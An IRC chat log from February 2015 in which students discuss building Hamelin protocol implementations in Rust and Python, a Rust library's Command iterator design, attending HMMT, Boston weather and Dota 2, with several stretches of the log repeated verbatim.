[2015-02-19T13:53:02-0500] <JacobEdelman> it is harder to find a good, stable, library to use for it
[2015-02-19T13:53:14-0500] <JacobEdelman> for instance, if I wanted to make a twitter hamelin implementation
[2015-02-19T13:53:21-0500] <+awe> You'd have to write a twitter library.
[2015-02-19T13:53:21-0500] <+awe> Oh no.
[2015-02-19T13:53:27-0500] <JacobEdelman> I'm just saying
[2015-02-19T13:53:38-0500] <JacobEdelman> hamelin relies a lot on having a good ecosystem
[2015-02-19T13:53:45-0500] <JacobEdelman> and I don't feel like rust is mature enough yet
[2015-02-19T13:53:49-0500] <JacobEdelman> can rust do interop?
[2015-02-19T13:53:50-0500] <+awe> Neither is Nim.
[2015-02-19T13:53:51-0500] <+awe> Yes.
[2015-02-19T13:53:52-0500] <+awe> Of course it can.
[2015-02-19T13:53:55-0500] <JacobEdelman> with C?
[2015-02-19T13:53:56-0500] <+awe> Yes.
[2015-02-19T13:53:57-0500] <+awe> Duh.
[2015-02-19T13:53:59-0500] <JacobEdelman> okay
[2015-02-19T13:54:00-0500] <+awe> Everything can interop with C.
[2015-02-19T13:54:11-0500] <+awe> I'm using *OPENSSL* for the SSL one.
[2015-02-19T13:54:23-0500] <JacobEdelman> okay, than we could just make implementations in diff languages that compile to C
[2015-02-19T13:54:31-0500] <+awe> Wat?
[2015-02-19T13:54:39-0500] <+awe> Again: that's transpiling.
[2015-02-19T13:54:43-0500] <JacobEdelman> *protocols, not implemeantion
[2015-02-19T13:54:45-0500] <JacobEdelman> gtg
[2015-02-19T13:55:13-0500] <+awe> Anyway, I disagree completely with your belief that there should only be one "version" of it.
[2015-02-19T13:55:18-0500] <+awe> Fundamentally, they're all different versions.
[2015-02-19T13:55:28-0500] <+awe> Each daemon is a totally different version of the Hamelin spec.
[2015-02-19T14:45:10-0500] <grantwu> sigh computer club
[2015-02-19T14:45:27-0500] <grantwu> "We should clear out entries in netreg that no longer correspond to running machines. At this point we don't have a clear sense of which IP addresses are currently in use."
[2015-02-19T14:47:20-0500] <grantwu> ubuntor: did you say you were going to HMMT?
[2015-02-19T14:48:51-0500] <Fill> awe: I think it's best if you just go ahead and implement iter_cmd(). I've been struggling too much with getting things to compile and I can't spend any more time trying it. I need to do some homework. Whatever I try, I always get lifetime errors. So, just do it, and then I'll see how you did it.
[2015-02-19T14:49:08-0500] <Fill> and in the meantime, I'll try and learn more about Rust
[2015-02-19T14:57:03-0500] <JacobEdelman> awe: hmm... so its unclear what I should do
[2015-02-19T14:57:13-0500] <JacobEdelman> when you use
[2015-02-19T14:57:15-0500] <JacobEdelman> grep --line-buffered 
[2015-02-19T14:57:21-0500] <JacobEdelman> with hamelin-http
[2015-02-19T14:57:30-0500] <JacobEdelman> I mean, I need to send back something and close the connection
[2015-02-19T14:57:38-0500] <JacobEdelman> but I can't tell the difference
[2015-02-19T14:57:54-0500] <JacobEdelman> between grep running and taking a long time, and it having ended but returned nothing
[2015-02-19T14:58:19-0500] <JacobEdelman> its a conundrum
[2015-02-19T14:58:45-0500] <JacobEdelman> hardmath123: advice on this?
[2015-02-19T14:59:23-0500] <JacobEdelman> oh wait, maybe I can just define a quit function?
[2015-02-19T15:01:24-0500] <JacobEdelman> nope, no luck
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[2015-02-19T13:51:22-0500] <+awe> oic.
[2015-02-19T13:51:23-0500] <JacobEdelman> (I think its relative0
[2015-02-19T13:51:24-0500] <JacobEdelman> )
[2015-02-19T13:51:45-0500] <+awe> So, basically, you just give the program the page, and then serve what it gives you as a response.
[2015-02-19T13:51:52-0500] <JacobEdelman> also, I'm worried about having lots of different versions of hamelin
[2015-02-19T13:52:04-0500] <+awe> Okay, solution: mine is vastly superior.
[2015-02-19T13:52:11-0500] <+awe> Especially the TCP implementation.
[2015-02-19T13:52:37-0500] <JacobEdelman> so, the problem I have with yours
[2015-02-19T13:52:51-0500] <JacobEdelman> is when making a protocol (such as http or irc)
[2015-02-19T13:53:02-0500] <JacobEdelman> it is harder to find a good, stable, library to use for it
[2015-02-19T13:53:14-0500] <JacobEdelman> for instance, if I wanted to make a twitter hamelin implementation
[2015-02-19T13:53:21-0500] <+awe> You'd have to write a twitter library.
[2015-02-19T13:53:21-0500] <+awe> Oh no.
[2015-02-19T13:53:27-0500] <JacobEdelman> I'm just saying
[2015-02-19T13:53:38-0500] <JacobEdelman> hamelin relies a lot on having a good ecosystem
[2015-02-19T13:53:45-0500] <JacobEdelman> and I don't feel like rust is mature enough yet
[2015-02-19T13:53:49-0500] <JacobEdelman> can rust do interop?
[2015-02-19T13:53:50-0500] <+awe> Neither is Nim.
[2015-02-19T13:53:51-0500] <+awe> Yes.
[2015-02-19T13:53:52-0500] <+awe> Of course it can.
[2015-02-19T13:53:55-0500] <JacobEdelman> with C?
[2015-02-19T13:53:56-0500] <+awe> Yes.
[2015-02-19T13:53:57-0500] <+awe> Duh.
[2015-02-19T13:53:59-0500] <JacobEdelman> okay
[2015-02-19T13:54:00-0500] <+awe> Everything can interop with C.
[2015-02-19T13:54:11-0500] <+awe> I'm using *OPENSSL* for the SSL one.
[2015-02-19T13:54:23-0500] <JacobEdelman> okay, than we could just make implementations in diff languages that compile to C
[2015-02-19T13:54:31-0500] <+awe> Wat?
[2015-02-19T13:54:39-0500] <+awe> Again: that's transpiling.
[2015-02-19T13:54:43-0500] <JacobEdelman> *protocols, not implemeantion
[2015-02-19T13:54:45-0500] <JacobEdelman> gtg
[2015-02-19T13:55:13-0500] <+awe> Anyway, I disagree completely with your belief that there should only be one "version" of it.
[2015-02-19T13:55:18-0500] <+awe> Fundamentally, they're all different versions.
[2015-02-19T13:55:28-0500] <+awe> Each daemon is a totally different version of the Hamelin spec.
[2015-02-19T14:45:10-0500] <grantwu> sigh computer club
[2015-02-19T14:45:27-0500] <grantwu> "We should clear out entries in netreg that no longer correspond to running machines. At this point we don't have a clear sense of which IP addresses are currently in use."
[2015-02-19T14:47:20-0500] <grantwu> ubuntor: did you say you were going to HMMT?
[2015-02-19T14:48:51-0500] <Fill> awe: I think it's best if you just go ahead and implement iter_cmd(). I've been struggling too much with getting things to compile and I can't spend any more time trying it. I need to do some homework. Whatever I try, I always get lifetime errors. So, just do it, and then I'll see how you did it.
[2015-02-19T14:49:08-0500] <Fill> and in the meantime, I'll try and learn more about Rust
[2015-02-19T14:57:03-0500] <JacobEdelman> awe: hmm... so its unclear what I should do
[2015-02-19T14:57:13-0500] <JacobEdelman> when you use
[2015-02-19T14:57:15-0500] <JacobEdelman> grep --line-buffered 
[2015-02-19T14:57:21-0500] <JacobEdelman> with hamelin-http
[2015-02-19T14:57:30-0500] <JacobEdelman> I mean, I need to send back something and close the connection
[2015-02-19T14:57:38-0500] <JacobEdelman> but I can't tell the difference
[2015-02-19T14:57:54-0500] <JacobEdelman> between grep running and taking a long time, and it having ended but returned nothing
[2015-02-19T14:58:19-0500] <JacobEdelman> its a conundrum
[2015-02-19T14:58:45-0500] <JacobEdelman> hardmath123: advice on this?
[2015-02-19T14:59:23-0500] <JacobEdelman> oh wait, maybe I can just define a quit function?
[2015-02-19T15:01:24-0500] <JacobEdelman> nope, no luck
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[2015-02-19T15:24:52-0500] <+awe> Fill: Sure, I can do it.
[2015-02-19T15:25:03-0500] <+awe> JacobEdelman: It doesn't make sense at all.
[2015-02-19T15:25:37-0500] <+awe> JacobEdelman: an HTTP implementation would need a very specialized approach.
[2015-02-19T15:26:54-0500] <JacobEdelman> so>
[2015-02-19T15:26:56-0500] <JacobEdelman> *?
[2015-02-19T15:27:09-0500] <JacobEdelman> should I just assume they wouldn't use grep?
[2015-02-19T15:27:55-0500] <+awe> Or if you do, you design it to work differently.
[2015-02-19T15:28:27-0500] <JacobEdelman> okay
[2015-02-19T15:29:27-0500] <+awe> I'm annoyed. Nothing builds right now because of OpenSSL.
[2015-02-19T15:29:44-0500] <+awe> Oh, no. They did fix OpenSSL, apparently.
[2015-02-19T15:36:02-0500] <+awe> Okay, now everything should be building except hamelin because another upstream library is broken there, but that's okay.
[2015-02-19T15:44:51-0500] <JacobEdelman> awe: should I should I strip a leading "/" in the path?
[2015-02-19T15:44:57-0500] <JacobEdelman> I'm thinking I should
[2015-02-19T15:45:00-0500] <JacobEdelman> just for simplicity
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[2015-02-19T15:52:53-0500] <JacobEdelman> does readline go until \n or eof?
[2015-02-19T15:53:01-0500] <JacobEdelman> awe, any idea?
[2015-02-19T15:54:29-0500] <JacobEdelman> hmm... it seems to be \n..
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[2015-02-19T16:14:05-0500] <Fill> JacobEdelman: I don't know which language / library you're talking about, but usually it's both
[2015-02-19T16:22:51-0500] <JacobEdelman> hmm... this is annoying
[2015-02-19T16:23:11-0500] <JacobEdelman> but I've think I'm now running into problems with the python hamelin implementation 
[2015-02-19T16:23:13-0500] <JacobEdelman> and not my own
[2015-02-19T16:26:31-0500] <JacobEdelman> awe: how did you do a python repl with hamelin?
[2015-02-19T16:32:49-0500] <JacobEdelman> actually, it was my implementation
[2015-02-19T16:32:56-0500] <JacobEdelman> so, I fixed it
[2015-02-19T16:33:06-0500] <JacobEdelman> I'll push it sometime today
[2015-02-19T16:40:19-0500] <JacobEdelman> hardmath123: you here?
[2015-02-19T17:17:50-0500] <+ubuntor> grantwu: yeah
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[2015-02-19T18:37:19-0500] <+hardmath123> grantwu: "Hamelin" is a bit of an in-joke. Most hamelin implmenetations would make extensive use of pipes, and there's a nice old story about teh Pied Piper of Hamelin. :D
[2015-02-19T18:40:33-0500] <+hardmath123> JacobEdelman: You can tell the difference. When grep is done, the process exits.
[2015-02-19T18:40:58-0500] <+hardmath123> JacobEdelman: You should be able to tell the exited-ness of the process with your language's OS bindings.
[2015-02-19T18:41:08-0500] <+hardmath123> JacobEdelman: if not, see how hamelin.py does it and copy that.
[2015-02-19T18:41:09-0500] <+hardmath123> :P
[2015-02-19T18:42:21-0500] <LittleBobbyTables> nurds
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[2015-02-19T19:11:48-0500] <+ubuntor> we might not be able to go to hmmt because no school :(
[2015-02-19T19:11:58-0500] <+alokpathy> :(
[2015-02-19T19:12:11-0500] <+hardmath123> D:
[2015-02-19T19:12:39-0500] <+ubuntor> we're asking for an exemption right now
[2015-02-19T19:15:08-0500] <+alokpathy> I'm willing to send a vulgar email to your BoE to help you guys.
[2015-02-19T19:20:44-0500] <+ubuntor> probably won't help, but thanks anyways :P
[2015-02-19T19:48:04-0500] <grantwu> Ah, I know some of the people running HMMT
[2015-02-19T19:50:26-0500] <+alokpathy> ubuntor: You never know :P
[2015-02-19T20:00:22-0500] <JacobEdelman> hardmath123: I gots it working mostly
[2015-02-19T20:11:43-0500] <+ubuntor> there might be hope
[2015-02-19T20:11:58-0500] <+ubuntor> message is being relayed to the superintendent
[2015-02-19T20:55:58-0500] <+ubuntor> superintendent's working on the issue
[2015-02-19T21:09:15-0500] <JacobEdelman> LittleBobbyTables: so, after looking around for a strange hero to play, i think I'm gonna give techies a try
[2015-02-19T21:10:12-0500] <+ubuntor> YES
[2015-02-19T21:10:19-0500] <+ubuntor> we're going to hmmt
[2015-02-19T21:10:31-0500] <bob_twinkles> nice
[2015-02-19T21:11:15-0500] <+awe> ubuntor: I will also write them a vulgar email.
[2015-02-19T21:11:20-0500] <+awe> ubuntor: Oh, nevermind. You are still going.
[2015-02-19T21:11:25-0500] <+awe> ubuntor: Can I write them a vulgar email anyway?
[2015-02-19T21:11:41-0500] <+ubuntor> lol
[2015-02-19T21:11:55-0500] <+ubuntor> might harm our case :P
[2015-02-19T21:15:35-0500] <JacobEdelman> wait, what?
[2015-02-19T21:15:39-0500] <JacobEdelman> I already sent them 2!
[2015-02-19T21:18:38-0500] <+alokpathy> ubuntor: Can we send it after HMMT? :D
[2015-02-19T21:18:56-0500] <+ubuntor> lol
[2015-02-19T21:31:29-0500] <+awe> JacobEdelman: So, the professor I want to work with is the person who announced that UMass CS will be admitting Iranians regardless of what the university said.
[2015-02-19T21:32:06-0500] <+alokpathy> awe: Because of that or is it a coincidence?
[2015-02-19T21:32:19-0500] <+alokpathy> Also they retracted that, right?
[2015-02-19T21:32:21-0500] <+awe> Yes.
[2015-02-19T21:32:23-0500] <+awe> They did retract.
[2015-02-19T21:32:26-0500] <+alokpathy> Yayy
[2015-02-19T21:32:32-0500] <+awe> He had an MSNBC interview with a kid on my floor.
[2015-02-19T21:32:36-0500] <+alokpathy> :O
[2015-02-19T21:32:38-0500] <+alokpathy> Damn.
[2015-02-19T21:32:39-0500] <+awe> Where they both talked about the retraction.
[2015-02-19T21:34:15-0500] <+awe> I wanted to work with him regardless.
[2015-02-19T21:34:18-0500] <+awe> It's the same professor.
[2015-02-19T21:34:28-0500] <+awe> Emery Berger.
[2015-02-19T21:35:38-0500] <+awe> It just so happens that he also happens to not give a fuck what the University says.
[2015-02-19T21:39:19-0500] <+alokpathy> yey
[2015-02-19T21:39:30-0500] <+awe> I'm pretty sure he and I will get along really well.
[2015-02-19T21:39:47-0500] <+awe> Except for the fact that he never responds to emails, oh my god.
[2015-02-19T21:39:59-0500] <+awe> He asked me if I wanted more information about something. >.>
[2015-02-19T21:40:12-0500] <+alokpathy> Well, some profs do that.
[2015-02-19T21:40:48-0500] <+alokpathy> They're probably busy people.
[2015-02-19T21:41:24-0500] <JacobEdelman> he seems awesome
[2015-02-19T21:41:52-0500] <grantwu> Why is it subzero temperatures :C
[2015-02-19T21:42:02-0500] <+awe> He *is* awesome.
[2015-02-19T21:42:04-0500] <+awe> And also is very busy.
[2015-02-19T21:42:08-0500] <+awe> He's the head of graduate admissions for CS.
[2015-02-19T21:42:20-0500] <+awe> He's the head of both programming language research groups.
[2015-02-19T21:42:38-0500] <+awe> Pretty sure he has to do a lot of University admin-type stuff.
[2015-02-19T21:43:13-0500] <+awe> I was a little worried when another professor told me he's got an "interesting personality."
[2015-02-19T21:43:17-0500] <+awe> But when I saw that interview
[2015-02-19T21:43:24-0500] <+awe> I realized immediately that his "interesting personality" is like mine.
[2015-02-19T21:43:42-0500] <+awe> It's "interesting" because he doesn't really care about whoever's supposed to have authority over him.
[2015-02-19T21:44:25-0500] <LittleBobbyTables> don't play techies
[2015-02-19T21:44:34-0500] <LittleBobbyTables> you'll hate yourself, and the team will hate you
[2015-02-19T21:44:48-0500] <+awe> grantwu: it's always subzero here, be quiet.
[2015-02-19T21:45:55-0500] <LittleBobbyTables> wait so guys
[2015-02-19T21:45:58-0500] <LittleBobbyTables> i was supposed to ask
[2015-02-19T21:46:06-0500] <LittleBobbyTables> how ez is pico scoreboard shit to setup
[2015-02-19T21:46:07-0500] <LittleBobbyTables> from nothing
[2015-02-19T21:46:21-0500] <LittleBobbyTables> like, someone that's never done a ctf before in their life has to set one up for work
[2015-02-19T21:46:47-0500] <LittleBobbyTables> she's got like 50 questions from scouring the internet for ctfs (it's taken her like 3 months....) so we can modify them
[2015-02-19T21:57:05-0500] <+alokpathy> awe: What do you recommend bringing to combat Boston weather?
[2015-02-19T21:57:13-0500] <+awe> A balaclava, if you have one.
[2015-02-19T21:57:19-0500] <+awe> I'm seriously considering purchasing one.
[2015-02-19T21:57:34-0500] <+awe> The wind is frigidly cold, and it burns my face.
[2015-02-19T21:57:40-0500] <+alokpathy> awe: ...and if we don't?
[2015-02-19T21:57:46-0500] <+awe> Your face will freeze.
[2015-02-19T21:57:58-0500] <+alokpathy> Deng.
[2015-02-19T21:58:07-0500] <+awe> Unless you're lucky and it's not windy.
[2015-02-19T21:58:08-0500] <+alokpathy> Could I bring a blanket and cut out holes?
[2015-02-19T21:58:10-0500] <+awe> It's not so bad when it's not windy.
[2015-02-19T21:58:14-0500] <+alokpathy> Like a Halloween ghost?
[2015-02-19T21:58:27-0500] <+awe> Wind would probably cut right through blanket fabric.
[2015-02-19T22:00:43-0500] <+hardmath123> So I'm vanishing off this channel because I don't want to have 3 days of logs when I get back. PM/email me if needed.
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[2015-02-19T22:01:54-0500] <+awe> @tell hardmath123 no bb no, I'll be missing you
[2015-02-19T22:01:54-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:02:07-0500] <+awe> @tell hardmath123 well, you won't get this until afterward, so, uhh... I missed you! <3
[2015-02-19T22:02:07-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:20:12-0500] <+alokpathy> Aww
[2015-02-19T22:50:11-0500] <+awe> Okay, all of my Rust projects build again.
[2015-02-19T22:50:13-0500] <+awe> Including Hamelin.
[2015-02-19T23:06:05-0500] <nezorg> [20:04] (LittleBobbyTables) 21:46:06> how ez is pico scoreboard shit to setup
[2015-02-19T23:06:27-0500] <nezorg> well, you have to sacrifice your firstborn in order to install mongo
[2015-02-19T23:12:07-0500] <LittleBobbyTables> already done
[2015-02-19T23:12:26-0500] <nezorg> after that it's not too bad iirc
[2015-02-19T23:12:42-0500] <+awe> Yeah, I don't think Ben had too much trouble.
[2015-02-19T23:22:52-0500] <+awe> Fill: So, I can confirm that it's not possible to write an iterator for Commands right now.
[2015-02-19T23:23:09-0500] <+awe> Fill: So, we have the choice between converting Commands into owning their data and offering an iterator for them, or leaving it as is.
[2015-02-19T23:29:00-0500] <+awe> Fill: It's a choice between the ergonomic win of having a Command iterator versus the performance win of not having clones for making Commands.
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[2015-02-19T23:42:45-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=wRQry89ZcQk
[2015-02-19T23:43:54-0500] <LittleBobbyTables> don't cut yourself on the edge
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[2015-02-20T08:56:43-0500] <JacobEdelman_> I have rearrived
[2015-02-20T08:57:11-0500] <JacobEdelman_> LittleBobbyTables: I know my team might hate me if I play techies, but why would I hate myself? They look fun and purge and people say they can be good
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[2015-02-20T10:03:24-0500] <Fill> awe: ha, I thought so! I'm glad to know it wasn't me being too stupid / newbie with Rust :P
[2015-02-20T10:04:20-0500] <Fill> I'd vote for Commands owning their data. The library user is free to choose whether the wants messages or commands, as long as we write in documentation that the command iterator *may* induce a performance hit, I think it's fine
[2015-02-20T10:04:32-0500] <Fill> although honestly I think it's negligible
[2015-02-20T10:27:46-0500] <+awe> It's almost definitely negligible.
[2015-02-20T10:32:37-0500] <Fill> awe: I can try and do it if you're ok with it
[2015-02-20T10:32:44-0500] <+awe> Sure!
[2015-02-20T10:32:55-0500] <+awe> It's basically just removing the lifetime on Command, changing everything into String, adding a lot of to_owned
[2015-02-20T10:32:58-0500] <Fill> hopefully this time I will be successful 
[2015-02-20T10:33:35-0500] <Fill> ok, I'll look at it either today or tomorrow
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[2015-02-19T21:44:25-0500] <LittleBobbyTables> don't play techies
[2015-02-19T21:44:34-0500] <LittleBobbyTables> you'll hate yourself, and the team will hate you
[2015-02-19T21:44:48-0500] <+awe> grantwu: it's always subzero here, be quiet.
[2015-02-19T21:45:55-0500] <LittleBobbyTables> wait so guys
[2015-02-19T21:45:58-0500] <LittleBobbyTables> i was supposed to ask
[2015-02-19T21:46:05-0500] <LittleBobbyTables> how ez is pico scoreboard shit to setup
[2015-02-19T21:46:07-0500] <LittleBobbyTables> from nothing
[2015-02-19T21:46:21-0500] <LittleBobbyTables> like, someone that's never done a ctf before in their life has to set one up for work
[2015-02-19T21:46:47-0500] <LittleBobbyTables> she's got like 50 questions from scouring the internet for ctfs (it's taken her like 3 months....) so we can modify them
[2015-02-19T21:57:05-0500] <+alokpathy> awe: What do you recommend bringing to combat Boston weather?
[2015-02-19T21:57:13-0500] <+awe> A balaclava, if you have one.
[2015-02-19T21:57:19-0500] <+awe> I'm seriously considering purchasing one.
[2015-02-19T21:57:34-0500] <+awe> The wind is frigidly cold, and it burns my face.
[2015-02-19T21:57:40-0500] <+alokpathy> awe: ...and if we don't?
[2015-02-19T21:57:46-0500] <+awe> Your face will freeze.
[2015-02-19T21:57:58-0500] <+alokpathy> Deng.
[2015-02-19T21:58:07-0500] <+awe> Unless you're lucky and it's not windy.
[2015-02-19T21:58:08-0500] <+alokpathy> Could I bring a blanket and cut out holes?
[2015-02-19T21:58:10-0500] <+awe> It's not so bad when it's not windy.
[2015-02-19T21:58:14-0500] <+alokpathy> Like a Halloween ghost?
[2015-02-19T21:58:27-0500] <+awe> Wind would probably cut right through blanket fabric.
[2015-02-19T22:00:43-0500] <hardmath123> So I'm vanishing off this channel because I don't want to have 3 days of logs when I get back. PM/email me if needed.
[2015-02-19T22:01:54-0500] <+awe> @tell hardmath123 no bb no, I'll be missing you
[2015-02-19T22:01:54-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:02:07-0500] <+awe> @tell hardmath123 well, you won't get this until afterward, so, uhh... I missed you! <3
[2015-02-19T22:02:07-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:20:12-0500] <+alokpathy> Aww
[2015-02-19T22:50:11-0500] <+awe> Okay, all of my Rust projects build again.
[2015-02-19T22:50:13-0500] <+awe> Including Hamelin.
[2015-02-19T23:06:05-0500] <nezorg> [20:04] (LittleBobbyTables) 21:46:06> how ez is pico scoreboard shit to setup
[2015-02-19T23:06:27-0500] <nezorg> well, you have to sacrifice your firstborn in order to install mongo
[2015-02-19T23:12:07-0500] <LittleBobbyTables> already done
[2015-02-19T23:12:26-0500] <nezorg> after that it's not too bad iirc
[2015-02-19T23:12:42-0500] <+awe> Yeah, I don't think Ben had too much trouble.
[2015-02-19T23:22:52-0500] <+awe> Fill: So, I can confirm that it's not possible to write an iterator for Commands right now.
[2015-02-19T23:23:09-0500] <+awe> Fill: So, we have the choice between converting Commands into owning their data and offering an iterator for them, or leaving it as is.
[2015-02-19T23:29:00-0500] <+awe> Fill: It's a choice between the ergonomic win of having a Command iterator versus the performance win of not having clones for making Commands.
[2015-02-19T23:42:44-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=wRQry89ZcQk
[2015-02-19T23:43:54-0500] <LittleBobbyTables> don't cut yourself on the edge
[2015-02-20T08:56:43-0500] <JacobEdelman_> I have rearrived
[2015-02-20T08:57:11-0500] <JacobEdelman_> LittleBobbyTables: I know my team might hate me if I play techies, but why would I hate myself? They look fun and purge and people say they can be good
[2015-02-20T10:03:24-0500] <Fill> awe: ha, I thought so! I'm glad to know it wasn't me being too stupid / newbie with Rust :P
[2015-02-20T10:04:20-0500] <Fill> I'd vote for Commands owning their data. The library user is free to choose whether the wants messages or commands, as long as we write in documentation that the command iterator *may* induce a performance hit, I think it's fine
[2015-02-20T10:04:32-0500] <Fill> although honestly I think it's negligible
[2015-02-20T10:27:46-0500] <+awe> It's almost definitely negligible.
[2015-02-20T10:32:37-0500] <Fill> awe: I can try and do it if you're ok with it
[2015-02-20T10:32:44-0500] <+awe> Sure!
[2015-02-20T10:32:55-0500] <+awe> It's basically just removing the lifetime on Command, changing everything into String, adding a lot of to_owned
[2015-02-20T10:32:58-0500] <Fill> hopefully this time I will be successful 
[2015-02-20T10:33:35-0500] <Fill> ok, I'll look at it either today or tomorrow
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[2015-02-21T01:40:34-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-19T21:58:27-0500] <+awe> Wind would probably cut right through blanket fabric.
[2015-02-19T22:00:43-0500] <hardmath123> So I'm vanishing off this channel because I don't want to have 3 days of logs when I get back. PM/email me if needed.
[2015-02-19T22:01:54-0500] <+awe> @tell hardmath123 no bb no, I'll be missing you
[2015-02-19T22:01:54-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:02:07-0500] <+awe> @tell hardmath123 well, you won't get this until afterward, so, uhh... I missed you! <3
[2015-02-19T22:02:07-0500] <+awebot> awe: I'll let them know!
[2015-02-19T22:20:12-0500] <+alokpathy> Aww
[2015-02-19T22:50:11-0500] <+awe> Okay, all of my Rust projects build again.
[2015-02-19T22:50:13-0500] <+awe> Including Hamelin.
[2015-02-19T23:06:05-0500] <nezorg> [20:04] (LittleBobbyTables) 21:46:06> how ez is pico scoreboard shit to setup
[2015-02-19T23:06:27-0500] <nezorg> well, you have to sacrifice your firstborn in order to install mongo
[2015-02-19T23:12:07-0500] <LittleBobbyTables> already done
[2015-02-19T23:12:26-0500] <nezorg> after that it's not too bad iirc
[2015-02-19T23:12:42-0500] <+awe> Yeah, I don't think Ben had too much trouble.
[2015-02-19T23:22:52-0500] <+awe> Fill: So, I can confirm that it's not possible to write an iterator for Commands right now.
[2015-02-19T23:23:09-0500] <+awe> Fill: So, we have the choice between converting Commands into owning their data and offering an iterator for them, or leaving it as is.
[2015-02-19T23:29:00-0500] <+awe> Fill: It's a choice between the ergonomic win of having a Command iterator versus the performance win of not having clones for making Commands.
[2015-02-19T23:42:44-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=wRQry89ZcQk
[2015-02-19T23:43:54-0500] <LittleBobbyTables> don't cut yourself on the edge
[2015-02-20T08:56:43-0500] <JacobEdelman_> I have rearrived
[2015-02-20T08:57:11-0500] <JacobEdelman_> LittleBobbyTables: I know my team might hate me if I play techies, but why would I hate myself? They look fun and purge and people say they can be good
[2015-02-20T10:03:24-0500] <Fill> awe: ha, I thought so! I'm glad to know it wasn't me being too stupid / newbie with Rust :P
[2015-02-20T10:04:20-0500] <Fill> I'd vote for Commands owning their data. The library user is free to choose whether the wants messages or commands, as long as we write in documentation that the command iterator *may* induce a performance hit, I think it's fine
[2015-02-20T10:04:32-0500] <Fill> although honestly I think it's negligible
[2015-02-20T10:27:46-0500] <+awe> It's almost definitely negligible.
[2015-02-20T10:32:37-0500] <Fill> awe: I can try and do it if you're ok with it
[2015-02-20T10:32:44-0500] <+awe> Sure!
[2015-02-20T10:32:55-0500] <+awe> It's basically just removing the lifetime on Command, changing everything into String, adding a lot of to_owned
[2015-02-20T10:32:58-0500] <Fill> hopefully this time I will be successful 
[2015-02-20T10:33:35-0500] <Fill> ok, I'll look at it either today or tomorrow
[2015-02-20T19:28:31-0500] <apothy> awe: do you have Ernest's number?
[2015-02-20T19:55:40-0500] <grantwu> I can't
[2015-02-20T19:55:55-0500] <grantwu> SCS talent show
[2015-02-20T19:55:57-0500] <grantwu> Song about LaTeX
[2015-02-20T19:57:05-0500] <grantwu> Parody rap about Java
[2015-02-20T21:58:44-0500] <LittleBobbyTables> fuck tests that we can't just google all the answers
[2015-02-20T22:13:54-0500] <JacobEdelman_> LittleBobbyTables: techies are fun!
[2015-02-20T22:35:36-0500] <LittleBobbyTables> 40 minutes to figure out these last 5 questions... hard to google :(
[2015-02-20T22:53:28-0500] <LittleBobbyTables> ok this thing is totally broken
[2015-02-20T22:54:01-0500] <LittleBobbyTables> "when the xxx is either 'this' or 'that'". ="this" or ="that". Separate lines, in the right spot....
[2015-02-20T22:59:02-0500] <LittleBobbyTables> ok wow, apparently = makes it wrong.
[2015-02-20T22:59:15-0500] <apothy> awe: lol Nevermind
[2015-02-20T22:59:22-0500] <LittleBobbyTables> did you get his number?
[2015-02-20T22:59:27-0500] <JacobEdelman> apothy: did you find ernest?
[2015-02-20T23:01:22-0500] <apothy> No we didn't get his number, but we found him
[2015-02-20T23:02:33-0500] <LittleBobbyTables> Who's we
[2015-02-20T23:25:49-0500] <failedxyz> hei
[2015-02-20T23:32:54-0500] <failedxyz> hei
[2015-02-21T00:00:34-0500] <grantwu> https://drive.google.com/file/d/0B9QwoKOxObY8eFVOVWZYVG5xUkU/view?usp=sharing
[2015-02-21T00:01:10-0500] <grantwu> Songs from 15-410
[2015-02-21T01:40:35-0500] Mode is +nt
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[2015-02-21T10:14:07-0500] <JacobEdelman> gmorning
[2015-02-21T10:26:44-0500] <+awe> Hi JacobEdelman
[2015-02-21T10:26:50-0500] <+awe> I'm in your lands.
[2015-02-21T10:26:55-0500] <+awe> The lands of not fifteen feet of snow.
[2015-02-21T12:05:47-0500] <JacobEdelman> where are you?
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[2015-02-21T12:31:03-0500] <calc0000> your lands
[2015-02-21T12:31:05-0500] <calc0000> obviously
[2015-02-21T13:12:52-0500] <JacobEdelman> calc0000: I secretly rule a substantial portion of the known world
[2015-02-21T13:12:58-0500] <JacobEdelman> and almost all of the unknown
[2015-02-21T13:13:02-0500] <JacobEdelman> so he should be more specific
[2015-02-21T13:24:01-0500] <calc0000> ha
[2015-02-21T13:27:00-0500] <JacobEdelman> so quiet here
[2015-02-21T13:53:09-0500] <calc0000> lots o' snow
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[2015-02-21T14:30:26-0500] <LittleBobbyTables> http://chudooder.github.io/d2acq/ JacobEdelman nezorg 
[2015-02-21T14:35:56-0500] <calc0000> thanks for the warning on the auto-playing loudness
[2015-02-21T14:38:09-0500] <LittleBobbyTables> It's in the title.
[2015-02-21T14:38:18-0500] <LittleBobbyTables> "Dota 2 audio cue quiz"
[2015-02-21T14:38:32-0500] <calc0000> not when i clicked the link bro
[2015-02-21T14:38:34-0500] <calc0000> this is on you
[2015-02-21T14:39:23-0500] <LittleBobbyTables> d2acq
[2015-02-21T14:39:25-0500] <LittleBobbyTables> ^^^^^^^^
[2015-02-21T14:39:36-0500] <LittleBobbyTables> Anyway, your name isn't JacobEdelman or nezorg.
[2015-02-21T14:39:41-0500] <LittleBobbyTables> That's 100% you
[2015-02-21T14:49:25-0500] <calc0000> fair enough
[2015-02-21T15:06:09-0500] <JacobEdelman> LittleBobbyTables: so, techies have been fun so far
[2015-02-21T15:06:38-0500] <JacobEdelman> just played a game with my brother vs hard bots 
[2015-02-21T15:06:46-0500] <JacobEdelman> although we didn't win it was close
[2015-02-21T15:06:58-0500] <JacobEdelman> our many problem seems to be late game we fall behind
[2015-02-21T15:07:04-0500] <JacobEdelman> in exp and gold
[2015-02-21T15:07:16-0500] <JacobEdelman> I'm thinking we just try going for kills too much
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[2015-02-21T17:36:45-0500] <LittleBobbyTables> JacobEdelman: do you hate people yet
[2015-02-21T17:41:06-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=t9g8XlRcokQ
[2015-02-21T18:04:02-0500] <JacobEdelman> I've only played with my younger brother, against bots
[2015-02-21T18:04:05-0500] <JacobEdelman> and I don't hate myself, him, or the bots
[2015-02-21T18:13:54-0500] <JacobEdelman> in other news
